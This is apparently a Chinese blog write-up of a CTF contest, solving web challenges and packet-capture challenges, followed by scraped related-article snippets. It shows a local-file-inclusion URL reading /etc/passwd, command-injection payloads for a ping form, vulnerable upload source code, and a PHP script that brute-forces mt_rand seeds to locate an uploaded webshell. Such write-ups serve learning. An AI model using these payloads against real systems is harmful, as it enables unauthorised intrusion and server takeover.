#前言

这次做的还挺多的,只有个Web300没做出来,排名由上次60+进步到这次16名(最后三分钟掉了5名),感觉还是不错的。但是很明显,流量题有很大的运气成分。做完流量题之后还剩一个多小时,水了水Misc,然而之前从来没做过,不知道有什么套路,到最后也没做出来。看看排名靠前的大佬基本就是Web+Crypto+Misc+Re+流量,我的知识面还是太窄了。下面好好加油吧,Re也要学学了。

#Web

##Web100-WebScan:

进入网站后先看一下有哪些网页,其中有个网页的url中有个&file=.,具体的文件名我没有记录,不过估计就是LFI漏洞了(本地文件包含)。尝试一下:

http://192.168.5.25/index.php?act=about&file=../../../../etc/passwd

页面果然返回了/etc/passwd的文件内容。由于这题的hint与Web日志有关,所以就包含一下apache日志试试:

http://192.168.5.25/index.php?act=about&file=../../../../etc/httpd/conf/httpd.conf

出来了,find一下flag:

##Web200-ping也能把你ping挂

这题看到后瞬间想到了二月赛中的一个Web题,题目名也是ping,结果使用命令执行+dnslog做的,所以估计这题也是命令执行了。

进入网页后看到一个输入框,输入ip地址,然后输入框下面会回显ping的结果。

尝试在ip地址后加上一些字符,来执行下一个命令。比如:

1.1.1.1|ls
1.1.1.1 > ls
1.1.1.1; ls
1.1.1.1&ls

反正就是一顿乱揍,到最后的&终于成功回显了:

通过观察ls的回显,发现了一个upload文件夹和一个文件上传的php文件。进入you_find_upload.php页面,就是一个常规的文件上传页面。

上传之后也没啥回显,也不知道文件名。发现上面的导航栏多了个查看源码,点进去之后我忘了是什么样了,反正是把you_find_upload.php源码给你了,源码如下(无关紧要的html代码我就不贴了,太长了):

    <form action="you_find_upload.php" method="POST" enctype="multipart/form-data">
<label>Select image to upload:</label>
<input type="file" name="file">
<button type="submit" class="btn" name="submit">upload</button>
<pre>
<?php
$type = array('gif','jpg','png');
mt_srand((time() % rand(1,100000)%rand(1000,9000)));
echo mt_rand();
if (isset($_POST['submit'])) {
$check = getimagesize($_FILES['file']['tmp_name']);
@$extension = end(explode('.',$_FILES['file']['name']));
if(in_array($extension,$type)){
echo 'File is an image - ' . $check['mime'];
$filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $filename);
echo "<br>\n";
} else {
echo "File is not an image";
}
}
if(isset($_GET['p'])){
if(@preg_match("/\.\.\//",$_GET['p'])){
echo "ä½ è¿ä¸ªå­©å­ï¼too young too simple";
}
else{
@include $_GET['p'].".php";
}
}
?>
</pre>
</form>

分析之后发现对于上传的文件有个限制,就是文件名必须以.jpg或.png或.gif结尾。上传之后,将文件命名成"随机数字+_+原文件名"。这里发现,就算上穿了图片马,你没有随机数啊!所以还是找不到文件的。

仔细看代码,发现三个关键点:

1.mt_srand((time() % rand(1,100000)%rand(1000,9000)));
这是生成一个随机种子
2.echo mt_rand()
做一次随机运算
3. $filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name'];
再做一此随机运算,并将这个随机数作为文件名的一部分。

由此可见,如果第三步的随机数能搞到,那文件名就出来了。可是这个随机数怎么搞?只好求助一下百度,发现mt_rand()生成的是伪随机数,也就是说,只要种子固定,那么每次的的mt_rand()都是固定的。举个例子:

<?php
mt_srand(1);//先给个值为1的种子
echo mt_rand();//输出随机数
echo "<br>";
echo mt_rand();//再次输出随机数
echo "<br>";
echo mt_rand();//再再次输出随机数
?>

输出结果:

1244335972
15217923
1546885062

你再刷新试试,你会发现,不管刷新多少次,生成的随机数都是固定的。因此生成的随机数只跟两个值有关,一个是种子的值,一个是计算的次数。而种子在源代码中有,计算的次数我们也已经知道了(2次,因为第二个mt_rand()用于合成文件名)。所以,基本上文件名就出来了。看一下种子:

mt_srand((time() % rand(1,100000)%rand(1000,9000)));

这个种子是跟时间相关的,可是你echo一下种子你就会发现,种子的值在0~10000之间(并不精确,仅仅是我根据echo大致猜测的)。

整理一下思路,我上面说,随机数只跟两个因素有关,一个是种子,一个是计算的次数。现在已经知道了,种子的值是0~10000,计算的次数是2。所以我们最多只要计算1w次就能找到这个随机数了。方法就是写个php脚本,进行爆破。这里有个小技巧,你可以将同一个文件上传多次,这样爆破的时间会减少很多。上脚本(代码很丑,大佬轻喷):

<?php
/*上传文件名为1.php.jpg*/
$url = 'http://192.168.5.85/upload/';
$start = 1;
$end = 10000;
$index = $start;
$random_pre = '';
$filename = '';
$result = '##';
while($index <= $end){
echo "No.".$index;
echo "<br>";
mt_srand($index);
mt_rand();
$random_pre = mt_rand();
$filename = $random_pre.'_1.php.jpg';
$cur_url = $url.$filename;
if(curl_get($cur_url)){
$result = $result.$filename.'--';
exit;
}
$index++;
}
if($index == 1001){
echo "no result!";
} function curl_get($tmp_url){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$tmp_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HEADER,1);
$result=curl_exec($ch);
$code=curl_getinfo($ch,CURLINFO_HTTP_CODE);
if($code=='404' && $result){
curl_close($ch);
return 0;
} else {
curl_close($ch);
echo $code;
echo "<br>";
echo "#####got one!===>>>".$tmp_url;
echo "<br>";
return 1;
}
}

这样基本就能爆破出我们的文件了,爆出来之后面临的问题就是解析了。众所周知,apache的解析漏洞只能使用apache不认识的后缀名,而这题已经限制死了,必须以图片格式结尾。所以常规办法已经无法继续了(也许因为我菜?),后来尝试1.php.jpg时,没想到竟然成功解析了!这是什么鬼哦!我在t00ls上问了大佬,他们说可能是.htaccess的问题,估计是这样了,在生产环境中应该是遇不到的。

解析成功后用菜刀连一下,发现flag在根目录下(第一次做上传的我,光找这个flag就找了十多分钟)。

##Web300-Bypass

这题没做出来,很辣鸡。登录页面一直要么是username not exists,要么就是非法字符。等等看大佬的WP吧。。

#流量题

这是第一次做流量题,没想到误打误撞三题全做出来了。之前就用过几次Wireshark,并不熟练,所以这次找flag之旅可以说是纯靠手找,毫无章法可言,所以就当故事看吧。。

先po个流量文件: https://pan.baidu.com/s/1saFYvXjCYwj-xZQ4AuY8xg 密码:m06t

##流量100-找黑客IP

一共10个数据包,时间相同,最后六位数字不同。我想查看一下文件修改时间,可是这边全是我的本地下载的时间,所以就只能根据文件名来排序了。

进入文件中,先大体浏览一下,基本都是TCP和HTTP包。随便找一个包,跟踪一下TCP或HTTP流,如果运气好的话就能立马发现蹊跷:

这是一个xss注入,把鼠标移到文字上,Wireshark会自动将这个数据包高亮显示,看一下源IP就ok了。

##流量题200-找发送钓鱼邮件的黑客的邮箱

既然是发邮件,自然要找一下SMTP协议了。在Wireshark过滤栏中输入smtp,看看哪个包里有数据。找到之后继续跟踪TCP流:

##流量题300-找黑客留的后门

这题我是从第一个包一直看到最后一个包,最后在172831中好不容易才找到。先过滤成POST协议,因为文件上传的话一般都是通过POST上传的。然后大致浏览一下POST的地址,以及POST的数据。后来发现请求的这个文件挺可疑:

很有可能是上传文件的php页面。再仔细找找就能发现后门文件了:

安恒杯 3月线上个人赛WriteUp的更多相关文章

  1. 尖峰7月线上技术分享--Hadoop、MySQL

      7月2号晚20:30-22:30 东大博士Dasight分享主题<大数据与Hadoop漫谈> 7月5号晚20:30-22:30  原支付宝MySQL首席DBA分享主题<MySQL ...

  2. 2019嘉韦思杯线上初赛writeup

    1 土肥原贤二 看到页面怀疑是sql注入,写了个4'进去就发生报错.could not to the database You have an error in your SQL syntax; ch ...

  3. 2019第十二届全国大学生信息安全实践创新赛线上赛Writeup

    本文章来自https://www.cnblogs.com/iAmSoScArEd/p/10780242.html  未经允许不得转载! 1.MISC-签到 下载附件后,看到readme.txt打开后提 ...

  4. 2018安恒杯11月月赛 MISC

    题目放评论了 Numeric password 这次隐写没有按照套路出牌,很强. 记录一下 看来自主学习的能力很有待提高. 打开Numeric password.txt 中华文化博大精深,近日在教小外 ...

  5. ISCC 2018线上赛 writeup

    今天有机会去ISCC2018参加了比赛,个人的感受是比赛题目整体难度不高,就是脑洞特别大,flag形式不明确,拿到flag后也要猜测flag格式,贼坑 废话不多说,以下是本人的解题思路 MISC 0x ...

  6. DDCTF 2018线上赛writeup

    第一题: d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e ...

  7. RCTF 2018线上赛 writeup

    苦逼的RCTF,只进行了两天,刚好第二天是5.20,出去xxx了,没法打比赛,难受.比赛结束了,还不准继续提交flag进行正确校验了,更难受. 下面是本次ctf解题思路流程 后面我解出的题会陆续更新上 ...

  8. 安恒杯2月月赛-应该不是xss

    1. 打开题目一看,是个留言板 2. 查看源码发现有几个js文件 依次打开发现在main.js里存在这样一段代码 3. 访问 /#login是登录的界面,/#chgpass是修改密码的界面,其中修改密 ...

  9. 安恒杯11月月赛web题目-ezsql详细记录

    通过此题目可以学习到 1.通过load_file+like来盲注获取文件内容 2.php魔术方法__get函数的用法 3.bypass  linux命令过滤 题目中给了注册和登录的功能,没有源码泄露 ...

随机推荐

  1. SimpleXML系列函数操作XML

    创建SimpleXML对象 种方法来创建对象,分别是: l  Simplexml_load_file()函数,将指定的文件解析到内存中. l  Simplexml_load_string()函数,将创 ...

  2. Python startswith()方法

    描述 Python startswith() 方法用于检查字符串是否是以指定子字符串开头,如果是则返回 True,否则返回 False.如果参数 beg 和 end 指定值,则在指定范围内检查. 语法 ...

  3. volume.go

    package)) ) ,) ) );) ,     } }

  4. 【卡特兰数】BZOJ1485: [HNOI2009]有趣的数列

    Description 我们称一个长度为2n的数列是有趣的,当且仅当该数列满足以下三个条件: (1)它是从1到2n共2n个整数的一个排列{ai}: (2)所有的奇数项满足a1<a3<…&l ...

  5. linux学习之路(1)

    Linux基础命令 命令格式:   命令名称  [参数]  [对象] 命令参数的长格式与短格式: 长格式:man -- help 短格式:man - h 常用系统工作命令 echo     输出语句  ...

  6. 在openjdk8下看Unsafe源码

    尽管有传言JAVA9可能会移除Unsafe类,但不妨碍我们理解它的原理.因为类不在了,native方法还在那里.就像菜换样了,食材就那些没变.一个好厨师不仅仅需要会做菜,还需要能识别食材特性...来吧 ...

  7. Sublime text3所遇到的问题

    sublime text3的下载地址:https://www.sublimetext.com/ 解决sublime text上不能使用交互的input的输入问题 通过安装sublimeREPL插件解决 ...

  8. API 测试的具体实现

    目录 API 测试的具体实现 基于 Spring Boot 构建的 API 使用 cURL 命令行工具进行测试 使用图形界面工具 Postman 进行测试 如何应对复杂场景的 API 测试? 总结 A ...

  9. flask下载excel

    flask 应用的基本结构: htmlweb.py -- static -- templates 将 bootstrap.min.css 放到 static 文件夹下,在 templates 文件夹下 ...

  10. 分布式日志框架Exceptionless之生产环境部署步骤

    Exceptionless 是一个开源的实时的日志收集框架,它将日志收集变得简单易用并且不需要了解太多的相关技术细节及配置.本篇基于我的上一篇<基于Exceptionless实现分布式日志> ...